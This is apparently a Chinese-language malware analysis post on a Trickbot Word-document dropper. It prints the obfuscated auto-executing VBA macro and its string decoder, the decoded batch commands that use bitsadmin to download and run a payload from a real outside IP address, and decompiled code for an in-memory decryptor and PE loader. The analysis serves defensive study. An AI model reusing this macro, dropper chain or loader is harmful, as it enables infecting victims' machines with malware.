trickbot病毒分析
概述
最近微軟發布了一款Trickbot掃描器[1]
該木馬近期在app.any.run公開任務的提交趨勢如下[2]

獲取一個樣本[2],進行分析
原始樣本(doc)分析
打開之后是這樣的

這里包含一定的社會工程操作,如果受害者對此類攻擊不熟悉,就會點擊啟用宏導致樣本執行。
使用oletools查看一下宏
C:\Users\IEUser\Desktop\trickbot>mraptor trickbot.doc MacroRaptor 0.56.2 - http://decalage.info/python/oletools This is work in progress, please report issues at https://github.com/decalage2/oletools/issues ----------+-----+----+-------------------------------------------------------- Result |Flags|Type|File ----------+-----+----+-------------------------------------------------------- SUSPICIOUS|AWX |OpX:|trickbot.doc Flags: A=AutoExec, W=Write, X=Execute Exit code: 20 - SUSPICIOUS FLARE Tue 03/22/2022 0:41:10.52
使用olevba查看一下宏列表
+----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |AutoExec |autoopen |Runs when the Word document is opened | |AutoExec |Document_Close |Runs when the Word document is closed | |AutoExec |Document_New |Runs when a new Word document is created | |AutoExec |Label1_Click |Runs when the file is opened and ActiveX | | | |objects trigger events | |AutoExec |TextBox1_Change |Runs when the file is opened and ActiveX | | | |objects trigger events | |Suspicious|Environ |May read system environment variables | |Suspicious|Open |May open a file | |Suspicious|Output |May write to a file (if combined with Open) | |Suspicious|Print # |May write to a file (if combined with Open) | |Suspicious|ShellExecute |May run an executable file or a system | | | |command | |Suspicious|ShellExecuteA |May run an executable file or a system | | | |command | |Suspicious|shell32 |May run an executable file or a system | | | |command | |Suspicious|Windows |May enumerate application windows (if | | | |combined with Shell.Application object) | |Suspicious|Lib |May run code from a DLL | |Suspicious|Chr |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|Hex Strings |Hex-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | |IOC |script1.bat |Executable file name | |IOC |script11.bat |Executable file name | |IOC |script2.bat |Executable file name | |IOC |script3.bat |Executable file name | |IOC |script4.bat |Executable file name | |Hex String|4TVq |34545671 | +----------+--------------------+---------------------------------------------+
并提取出宏,分階段分析
首先聲明獲取系統版本的函數,并且在開始時自動執行一些函數
Option Explicit
#If Win64 Then
Private Declare PtrSafe Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long ''PtrSafe
#Else
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long ''PtrSafe
#End If
Private Type OSVERSIONINFO ' 聲明系統版本結構體,便于獲取信息
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Dim NameJob As String
Dim NameApp As String
Dim TT As String
Dim NameLoad As String
Dim Count As Byte
Dim s1, s11, s2, s3, t1 As String
Sub ducument_open()
MsgBox ("ducument_open")
End Sub
Sub autoopen()
#Const CVV = "8989"
#If v = "9200" Or v = "787.17763.111" Then
''MsgBox "ok"
#Else
''MsgBox "else"
#End If
Dim SSS As Integer
NameJob = ""
Count = 0
NameApp = ""
NameLoad = ""
Start 3.14
End Sub
函數結尾執行了Start函數,參數是3.14
Sub Start(DD As Double, Optional NXT As Byte = 0)
Dim SSS As Integer
Dim ff
Dim tmp As String
If DD = Round(377 / 120, 2) Then ' Round(377/120,2)恰好是3.14
'MsgBox NXT
VerWin
Count = 0
NameApp = ""
NameLoad = ""
tmp = Environ("tmp")
' 解密字符串
s1 = Vnoc("b.iynpyb.iynbybwaoynmyn2ysr\ti\ps3cocex.%d3Y\ecVi.\t/x xyse.as3", "nY%dpytmsiaoe.c\Vwx/b32r ") + GetRandName(10) + GetRandExp() + Vnoc("errebp\&ab2c%s3aptt1i perrebp\&ab2c%s3ap.1i perrebp\&ab2c%s3apm1i p", "me%t&\bpr2ias.3 c1", 4)
s11 = Vnoc("4r2cg4c4r2cgnc5m1-c 1cpcd.i..i/6i6pd", "5cr2-i6/4np mdg.1", 7) + Chr(13) + Chr(10) + Vnoc("6)9r42202s4 4sr11t9v%4(9%=1ofle94s%49v%4(9%=1ioe", "06)tle(s4v%= r192oif", 3)
s2 = Vnoc("eiumodmeiumoemrti/ crmorm", "mtdc/ irueo") + GetRandTime(3) + Vnoc("enm%/bk&teppea\kroa ", "%\rpkna botm&e/") + NameApp + " /transfer " + _
GetRandJName(10) + Vnoc("epth:inhytep.dshdso4e\s%\e\oo. pplr5rr5m651/r1pwaodh5.%.e1ow.1g", "h4:pl\r .ngde5i%tams1oyw/6", 5) + GetRandName2(11) + GetRandExp() '
s3 = Vnoc("m /otcom /otmoiu deriotio", "rmodtuc e/i") + GetRandTime(4) + Vnoc("erb%/atn&eppekmt\ok ", "b oam&/e%n\prtk") + NameLoad + _
Vnoc("..a2 tabrabfa/i pl/sm%ecli&\d1ia/i pl/sm%ecli3\d1ia/i pl/sm%ecliq\d1i", "slcb3ra.mt%dqe1\pi/2f &", 8) + _
Vnoc("biep aimc\%tae44r1.ebiep aimc\%taesr1.ebiep aim", "srmt1ac% e4.\ibp") + NameApp + GetRandExp()
t1 = Vnoc("ormt ctormt otierdu/it it", "muir/ec dot", 3) + GetRandTime(13) + Vnoc("t\ &ao%mptkktb/erbn", "/mr\eon%& bktap", 3) + NameApp + Vnoc("iNgue SmsSrsuoo/TtuSPei", "PoTmS/tgNer usi", 3) + _
NameJob + Vnoc("&2t2&mm&p% \1pe", " %m1et&p\2") + NameApp + Vnoc("t MlyRD/rlyaeSlniet", "eMtD/alRyS inr") + NameJob + " 4"
With Form1
.Label2 = s2
.Label3 = s3
.Label4 = t1
End With
ff = FreeFile
Open tmp + "\script1.bat" For Output As #ff
Print #ff, s1
Close #ff
ff = FreeFile
Open tmp + "\script11.bat" For Output As #ff
Print #ff, s11
Close #ff
ff = FreeFile
Open tmp + "\script2.bat" For Output As #ff
Print #ff, s2
Close #ff
ff = FreeFile
Open tmp + "\script3.bat" For Output As #ff
Print #ff, s3
Close #ff
ff = FreeFile
Open tmp + "\script4.bat" For Output As #ff
Print #ff, t1
Close #ff
End If
tmp = s1
s2 = "JHHGhdrrj7745"
s3 = "7455jkjjhHGGhgh471"
End Sub
這里用到了一個解密字符串的函數Vnoc,解密完成后寫入到一系列文件中
Function Vnoc(ES As String, MK As String, Optional Oset As Integer = 6) As String
Dim I, CurPosSym, Offset As Integer
Dim CurSymbol, NewSymbol As String
Dim NewString As String
Dim TEST1 As String
''MK = "yocixniyocixyiy\/:ix%ixmiy .Ypac\Yw.w:wVtobK.2pVwecopast3tirVto/r.::OndY3st3t"
Offset = Oset
NewString = ""
For I = 1 To Len(ES)
CurSymbol = Mid(ES, I, 1) ' Get The ith char
CurPosSym = InStr(1, MK, CurSymbol) ' Get the position of char in MK
If CurPosSym - Offset > 0 Then
NewSymbol = Mid(MK, CurPosSym - Offset, 1) ' Get The CurPosSymth char
Else
NewSymbol = Mid(MK, CurPosSym + Len(MK) - Offset, 1) ' Get CurPosSym + Len(MK) - Offsetth char
End If
NewString = NewString + NewSymbol
Next I
Vnoc = NewString
End Function
解密邏輯比較清晰,即類凱撒解密,第一個參數是加密后的字符串,第二個參數是加密用的移位表
Start中調用這個函數,解密得到的字符串如下
:: script1.bat s1 cmd /r cmd /c copy /Y /V %windir%\system32\bitsadmin.exe %tmp%\hexM0^0.exe && %temp%\script11.bat && %temp%\script2.bat && %temp%\script3.bat :: script11.bat s11 cmd /c cmd /r ping -n 2 64.44.51.126 if %errorlevel%==0 (set s4=126) else (set s4=91) :: script2.bat s2 cmd /r cmd /c timeout /t 5 /nobreak && %temp%\hexM0^0 /transfer "eClKsn" /download /priority high http://64.44.51.%s4%/metro.pgp %tmp%\0o60p0$0.exe :: script3.bat s3 cmd /r cmd /c timeout /t 5 /nobreak && %temp%\0o60p0$0 && del /f /q %temp%\script1.bat %temp%\script2.bat %temp%\script3.bat %temp%\script11.bat %temp%\script4.bat %temp%\hexM0^0.exe :: script4.bat t1 cmd /r cmd /c timeout /t 14 /nobreak && %tmp%\hexM0^0 /SetNoProgressTimeout "eClKsn" 121 && %temp%\hexM0^0 /SetMinRetryDelay "eClKsn" 4
接下來就是文檔關閉時的動作了
Private Sub Document_Close()
With Form1.Label1
If .Width + .Top > 100 Then
.Caption = s1
s1 = "(834jdd+="
Form1.Label1_Click
End If
End With
End Sub
調用了Form1的Label1_Click
'VBA MACRO Form1.frm
'in file: word/vbaProject.bin - OLE stream: 'VBA/Form1'
'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Option Explicit
#If Win64 Then
Private Declare PtrSafe Function ShellExecute Lib "shell32" _
Alias "ShellExecuteA" (ByVal hwnd As Long, _
ByVal lpOperation As String, ByVal lpFile As String, _
ByVal lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
#Else
Private Declare Function ShellExecute Lib "shell32" _
Alias "ShellExecuteA" (ByVal hwnd As Long, _
ByVal lpOperation As String, ByVal lpFile As String, _
ByVal lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
#End If
Public Sub Label1_Click()
TextBox1.Value = 34545671
End Sub
Private Sub Label3_Click()
End Sub
Function start2(ByVal pid As Integer, ByVal pam1 As String, ByVal pam2 As String, pamW As Integer) As Integer
If Len(pam1) = 3 And Asc(Mid(pam1, 2, 1)) = 109 Then
start2 = ShellExecute(pid, vbNullString, pam1, pam2, ThisDocument.Path, pamW)
End If
start2 = 1
End Function
Private Sub TextBox1_Change()
If TextBox2.Height > 1 Then
TextBox2.Text = "*&87873jnhjhsJJHGGF==+++"
End If
End Sub
Private Sub TextBox2_Change()
Dim w1 As String
If TextBox3.Width > 5 + 2 Then
w1 = CStr(Label1.Caption)
TextBox3.Text = "HGHGhwegrbce74546567"
End If
End Sub
Private Sub TextBox3_Change()
Dim w2 As String
If TextBox2.Width > TextBox3.Height Then
w2 = Label2.Caption
TextBox4.Text = "3485erjtghhgFDFDGJKJhjhe"
End If
End Sub
Private Sub TextBox4_Change()
Dim w3, cor As String
Dim SF, SG As Integer
If TextBox4.Width > TextBox3.Width + TextBox2.Width + TextBox1.Width Then
w3 = Label1.Caption ' Gets or sets the text that appears in the control. Read/write String
cor = Label4.Caption
SF = start2(0, "cmd", w3, 0)
'MsgBox Environ("res")
SG = start2(0, "cmd", cor, 0)
End If
End Sub
可以看到這是一個鏈式調用,Label1_Click觸發TextBox1_Change(),然后TextBox2_Change(),TextBox3_Change(), TextBox4_Change()。最終調用start2()執行了一些命令
其它函數就是一些獲取隨機字符串的操作
最終執行的字符串為
w3=Label1.Caption=s1 cor=Label4.Caption=t1
也就是使用bitsadmin.exe執行script2.bat,script3.bat,script11.bat。然后執行script4.bat。首先測試鏈接,然后下載載荷。并且其中的script3執行了載荷。
0o60p0$0.exe分析

程序開頭以及后面都輸出了一些無關緊要的東西,把自己偽裝成一個小游戲
printf("\t\t\tC PROGRAM QUIZ GAME");
printf("\t\t________________________________________");
printf("\t\t\t WELCOME ");
printf("\t\t\t to ");
printf("\t\t\t THE GAME ");
printf("\t\t________________________________________");
printf("\t\t________________________________________");
printf("\t\t BECOME A MILLIONAIRE!!!!!!!!!!! ");
printf("\t\t________________________________________");
printf("\t\t________________________________________");
printf("\t\t > Press S to start the game");
printf("\t\t > Press V to view the highest score ");
printf("\t\t > Press R to reset score");
printf("\t\t > press H for help ");
printf("\t\t > press Q to quit ");
printf("\t\t________________________________________");
但是中間解密并執行了一些數據
decrypt_string("5w5EzPC0C10QrKw(", aUuo, 3662);
decrypt_string("5w5EzPC0C10QrKw(", aUuIu, 692);
v6 = VirtualAlloc(0, 0xE4Eu, 0x1000u, 0x40u);
memmove(v6, aUuo, 0xE4Eu);
v5 = VirtualAlloc(0, 0x2B4u, 0x1000u, 0x40u);
memmove(v5, aUuIu, 0x2B4u);
GetModuleFileNameW(0, Filename, 0x400u);
if ( is_exist(Filename) )
((void (*)(const char *, ...))v6)("Td5xh%r7dqisN#s", 16, &unk_425000, 165888);
((void (__cdecl *)(void *))v5)(&unk_425000);
解密算法如下
int __cdecl decrypt_string(const char *a1, char *a2, int a3)
{
int result; // eax
unsigned int i; // [esp+Ch] [ebp-8h]
for ( i = 0; i != a3; ++i )
{
a2[i] ^= a1[i % strlen(a1)];
result = i + 1;
}
return result;
}
分析解密后的數據
第一個函數分析
BOOL __cdecl sub_41D955(int a1, int a2, int a3, int a4)
{
BOOL result; // eax
//...
if ( a2 <= 0 || a2 > 16 )
return 0;
v9 = sub_41D826();
v21 = 0;
//...
strcpy(v13, "RSA2");
//...
strcpy(v19, "advapi32.dll");
strcpy(v14, "CryptAcquireContextA");
strcpy(v17, "CryptImportKey");
strcpy(v18, "CryptEncrypt");
v8 = (int (__stdcall *)(char *))sub_41D8B9(v9, -1970583946); // LoadLibraryA
v11 = (int (__stdcall *)(int, char *))sub_41D8B9(v9, 449506938); // GetProcAddress
v22 = 0;
v22 = v8(v19);
v21 = (int (__stdcall *)(int *, _DWORD, _DWORD, int, int))v11(v22, v14); // CryptAcquireContextA
v10 = (int (__stdcall *)(int, char *, int, int, _DWORD, int *))v11(v22, v17); // CryptImportKey
v5 = (int (__stdcall *)(int, _DWORD, int, _DWORD, int, int *, int))v11(v22, v18); // CryptEncrypt
v23 = 0;
if ( !v21(&v23, 0, 0, 1, 0) && !v21(&v23, 0, 0, 1, 8) && !v21(&v23, 0, 0, 1, -268435456) )
return 0;
v7 = 0;
if ( !v10(v23, v12, 308, 0, 0, &v7) )
return 0;
for ( i = 0; i < a2; ++i )
v16[i] = *(_BYTE *)(a1 + a2 - i - 1);
v16[a2] = 0;
for ( j = a2 + 1; j < 62; ++j )
v16[j] = 1;
v6 = 0;
if ( v10(v23, v15, 76, v7, 0, &v6) )
result = v5(v6, 0, 1, 0, a3, &a4, a4) != 0; // 加密a3中a4個大小的數據
else
result = 0;
return result;
}
首先加載一系列的加密庫,然后加載硬編碼的RSA key
加密過程實際上解密了一個dll,解密后的數據如下

第二個函數分析
int __stdcall sub_26E650(int a1)
{
//...
v4 = &v2;
v5 = sub_26E6C6();
v3 = (void (__cdecl *)(char *, _DWORD, int))sub_26E757(v5, 472671547); // memset
v3(v4, 0, 32);
return sub_26E7F3(a1);
}
最后一個函數sub_26e7f3
int __cdecl sub_26E7F3(int a1)
{
//...
varC = *(_DWORD *)(a1 + 60) + a1;
var1C = sub_26E690();
var20 = sub_26E6C6();
var24 = (int (__stdcall *)(_DWORD, _DWORD, int, int))sub_26E757(var1C, 808369692); // VirtualAlloc
var2C = (void (__cdecl *)(int, int, _DWORD))sub_26E757(var20, 478437696);// memcpy
var14 = var24(0, *(_DWORD *)(varC + 80), 4096, 64);
var8 = *(_WORD *)(varC + 6);
var10 = varC + *(unsigned __int16 *)(varC + 20) + 24;
for ( var4 = 0; var4 < (int)var8; ++var4 )
var2C(
*(_DWORD *)(var10 + 40 * var4 + 12) + var14,
*(_DWORD *)(var10 + 40 * var4 + 20) + a1,
*(_DWORD *)(var10 + 40 * var4 + 16));
((void (__cdecl *)(int, int, int))(*(_DWORD *)(varC + 40) + var14))(
varC + 128,
var10 + 40 * var8 - a1,
*(_DWORD *)(varC + 40) + var14);
return 1;
}
后續行為比較復雜,但是從app.any.run的報告來看,該樣本還是有一些trickbot的行為。
其他行為后續會繼續分析。
總結
該樣本以最初的docm文檔呈現,office是不會阻擋docm的宏的加載的。且該樣本層層套娃,以多種方式逃避自動化分析。
防范措施:不要打開來歷不明的文件,經常安裝、更新殺毒軟件。